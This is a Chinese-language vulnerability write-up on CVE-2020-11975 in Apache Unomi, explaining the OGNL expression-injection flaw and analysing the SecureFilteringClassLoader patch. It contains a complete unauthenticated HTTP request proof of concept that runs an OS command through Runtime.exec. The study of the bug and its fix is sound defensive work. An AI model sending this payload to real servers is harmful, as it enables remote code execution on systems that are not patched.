Apache Unomi是什么?
Apache Unomi是一个Java开源客户数据平台,这是一个Java服务器。
Apache Unomi的用途?
Unomi可用于在各种不同的系统(如CMSs, CRMs, Issue Trackers, native mobile applications等)中"整合个性化"(integrate personalization)和"配置文件管理"(profile management)。
Apache Unomi的优点?
Unomi在2019年被宣布为Top-Level Apache product,具有高度的可扩展性,考虑了易用性。
鉴于Unomi包含大量数据并具有与其他系统的紧密集成的特点,使它成为攻击者的理想目标。
发现了1个什么漏洞?
远程攻击者发送带有了OGNL表达式的请求,可导致远程代码执行(RCE),权限就是Unomi应用程序的运行权限。
漏洞编号CVE-2020-11975
Credit: This issue was reported by Yiming Xiang of NSFOCUS.
触发前提:
Apache Unomi < 1.5.1 的版本,无需身份验证,能访问到就能RCE。
Unomi提供了一个受限的API(应该是指需要授权才能访问),可以"取回"(retrieve)数据、操作数据。
此外还有一个公开的endpoint,应用程序可以在这里上传数据、"取回"(retrieve)用户数据。
Unomi允许发往这些endpoint的HTTP requests中包含复杂的conditions(条件)。
Unomi conditions(条件)依赖于"表达式语言"(expression languages,EL),如OGNL或MVEL,以允许用户构造复杂的、细粒度的查询. 在访问存储中的数据之前,基于EL的conditions被计算/执行。
CVE-2020-11975漏洞原理:
在1.5.1之前的版本中,这些"表达式语言"(expression languages)完全不受限制,所以通过EL注入即可实现RCE。
攻击者通过发送1个请求就可以在Unomi服务器上执行任意代码和OS命令。
修复CVE-2020-11975之前的代码:
https://github.com/apache/unomi/blob/206b646eb5cfa1e341ca7170705721de9b5b9716/plugins/baseplugin/src/main/java/org/apache/unomi/plugins/baseplugin/conditions/PropertyConditionEvaluator.java#L327-L330
public class PropertyConditionEvaluator implements ConditionEvaluator { ... protected Object getOGNLPropertyValue(Item item, String expression) throws Exception { ExpressionAccessor accessor = getPropertyAccessor(item, expression); return accessor != null ? accessor.get(getOgnlContext(), item) : null; } ...
解释一下上面的代码:
PropertyConditionEvaluator
类负责conditions(条件)内的OGNL表达式的计算/执行。
当Unomi收到了类似于例1的JSON数据时,Unomi如何处理?
例1 JSON数据
{
"condition":{
"parameterValues":{
"propertyName":"Wubba Lubba",
"comparisonOperator":"equals",
"propertyValue":"Dub Dub"
}
}
}
getOGNLPropertyValue
方法,该方法将用户输入的"属性名称"(property name)作为一条OGNL表达式,计算/执行这个"属性名称"。在计算/执行OGNL表达式时, ExpressionAccessor
使用"默认参数"(default parameters),从而导致了任意OGNL表达式的计算/执行。
例如,"属性名称"(property name)设置为这个OGNL表达式:
(#[email protected]@getRuntime()).(#r.exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"))
PoC:
CVE-2020-11975 OGNL Injection
POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 749
{
"personalizations":[
{
"id":"gender-test_anystr",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#[email protected]@getRuntime()).(#r.exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"))",
"comparisonOperator":"equals_anystr",
"propertyValue":"male_anystr"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"test-demo-session-id"
}
测试成功。
Response如下(可能不重要,仅供参考)
HTTP/1.1 200 OK
Connection: close
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: OPTIONS, POST, GET
Set-Cookie: context-profile-id=eeff918c-d8ab-43e9-bf6c-8420a8bd31de; Path=/; Expires=Wed, 24-Nov-2021 03:54:55 GMT; Max-Age=31536000
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: context-profile-id=49b58042-92d6-4fcf-bb60-9fc0f62d0b5a; Path=/; Expires=Wed, 24-Nov-2021 03:54:55 GMT; Max-Age=31536000
Content-Type: application/json;charset=utf-8
Server: Jetty(9.4.22.v20191022)
{"profileId":"49b58042-92d6-4fcf-bb60-9fc0f62d0b5a","sessionId":"test-demo-session-id","profileProperties":null,"sessionProperties":null,"profileSegments":null,"filteringResults":null,"processedEvents":0,"personalizations":{"gender-test_anystr":["var2"]},"trackedConditions":[{"parameterValues":{"formId":"testFormTracking","pagePath":"/tracker/"},"type":"formEventCondition"}],"anonymousBrowsing":false,"consents":{}}
看看Unomi的开发者怎么修的。
SecureFilteringClassLoader
查看diff: https://github.com/apache/unomi/commit/823386ab117d231df15eab4cb4b7a98f8af546ca
搜索PropertyConditionEvaluator.java
文件路径: plugins/baseplugin/src/main/java/org/apache/unomi/plugins/baseplugin/conditions/PropertyConditionEvaluator.java
PropertyConditionEvaluator.java
的代码变更: line L328-L333
主要看PropertyConditionEvaluator
类 的 getOGNLPropertyValue()
方法。
将SecureFilteringClassLoader
添加到getOGNLPropertyValue()
方法中的OgnlContext
中,以防止计算/执行任意OGNL表达式。
public class PropertyConditionEvaluator implements ConditionEvaluator { ... protected Object getOGNLPropertyValue(Item item, String expression) throws Exception { ClassLoader secureFilteringClassLoader = new SecureFilteringClassLoader(PropertyConditionEvaluator.class.getClassLoader()); OgnlContext ognlContext = getOgnlContext(secureFilteringClassLoader); ExpressionAccessor accessor = getPropertyAccessor(item, expression, ognlContext, secureFilteringClassLoader); return accessor != null ? accessor.get(ognlContext, item) : null; } ...
SecureFilteringClassLoader
计算/执行MVEL表达式的代码,也使用了SecureFilteringClassLoader。
//1.5.0 public class ConditionContextHelper { ... else if (s.startsWith("script::")) { String script = StringUtils.substringAfter(s, "script::"); if (!mvelExpressions.containsKey(script)) { ParserConfiguration parserConfiguration = new ParserConfiguration(); parserConfiguration.setClassLoader(ConditionContextHelper.class.getClassLoader()); mvelExpressions.put(script,MVEL.compileExpression(script, new ParserContext(parserConfiguration))); } return MVEL.executeExpression(mvelExpressions.get(script), context); } ...
//1.5.1 public class ConditionContextHelper { ... private static Object executeScript(Map<String, Object> context, String script) { final ClassLoader tccl = Thread.currentThread().getContextClassLoader(); try { if (!mvelExpressions.containsKey(script)) { ClassLoader secureFilteringClassLoader = new SecureFilteringClassLoader(ConditionContextHelper.class.getClassLoader()); Thread.currentThread().setContextClassLoader(secureFilteringClassLoader); ParserConfiguration parserConfiguration = new ParserConfiguration(); parserConfiguration.setClassLoader(secureFilteringClassLoader); mvelExpressions.put(script, MVEL.compileExpression(script, new ParserContext(parserConfiguration))); } return MVEL.executeExpression(mvelExpressions.get(script), context); ...
SecureFilteringClassLoader
类的具体实现这个patch,引入了"安全过滤的ClassLoader" SecureFilteringClassLoader
。
具体实现,可搜索SecureFilteringClassLoader.java
文件路径: common/src/main/java/org/apache/unomi/common/SecureFilteringClassLoader.java
line 90-99
@Override public Class<?> loadClass(String name) throws ClassNotFoundException { if (forbiddenClasses != null && classNameMatches(forbiddenClasses, name)) { throw new ClassNotFoundException("Access to class " + name + " not allowed"); } if (allowedClasses != null && !classNameMatches(allowedClasses, name)) { throw new ClassNotFoundException("Access to class " + name + " not allowed"); } return delegate.loadClass(name); }
看代码可知,SecureFilteringClassLoader
类通过,这样来限制MVEL和OGNL的能力。
看代码可知,SecureFilteringClassLoader
类是重写了ClassLoader
类的loadClass()
方法,在"预定义的集合"(predefined set)中明确限制了"可访问的类"(accessible classes) ,并根据allowlist和blocklist来检查表达式中使用的类:
如果匹配中了blocklist,则抛出异常。
如果没匹配中allowlist,则抛出异常。
看看修复CVE-2020-11975之后的效果,如果攻击者尝试攻击是什么情况。
(1)SecureFilteringClassLoader
类 到底如何实现限制OGNL的能力?
攻击者通常使用@
符号,来利用OGNL实现RCE:
修复CVE-2020-11975之后,使用@
符号来静态地访问"对象类"(object classes)时,OGNL会调用loadClass()
例如java.lang.Runtime.getRuntime()
写成OGNL表达式:(unomi版本<1.5.1的版本可RCE)
(#[email protected]@getRuntime()).(#r.exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"))
unomi版本>=1.5.1,当加载Runtime类时,此表达式不会通过SecureFilteringClassLoader
类所执行的检查,也就是说不会成功加载Runtime
类。
(2)SecureFilteringClassLoader
类 到底如何实现限制MVEL的能力?
其实CVE-2020-11975,并没有用到MVEL表达式,只是开发者考虑到MVEL表达式也可能有同样问题,就一起做了代码变更(修复)。
对于MVEL表达式来说,当使用new
语句创建新对象时,也会调用ClassLoader或SecureFilteringClassLoader的loadClass()
方法(到底哪个类得看版本了),因此,这次patch代码变更后,使用MVEL表达式也只能"创建"出 来自于(allowlist)"受限类"(restricted set of classes)的集合里的实例。
注意: 这次patch是限制了 "创建" 对象,而没限制使用 "已经存在的" 对象!
CVE-2020-11975是OGNL注入,开发者发现了类似的MVEL注入,这次的patch一起做了限制,看起来好像防住了。
其实这个patch没考虑完全, Checkmarx Security Research Team发现可以绕过。
就有了CVE-2020-13942。下篇再仔细看。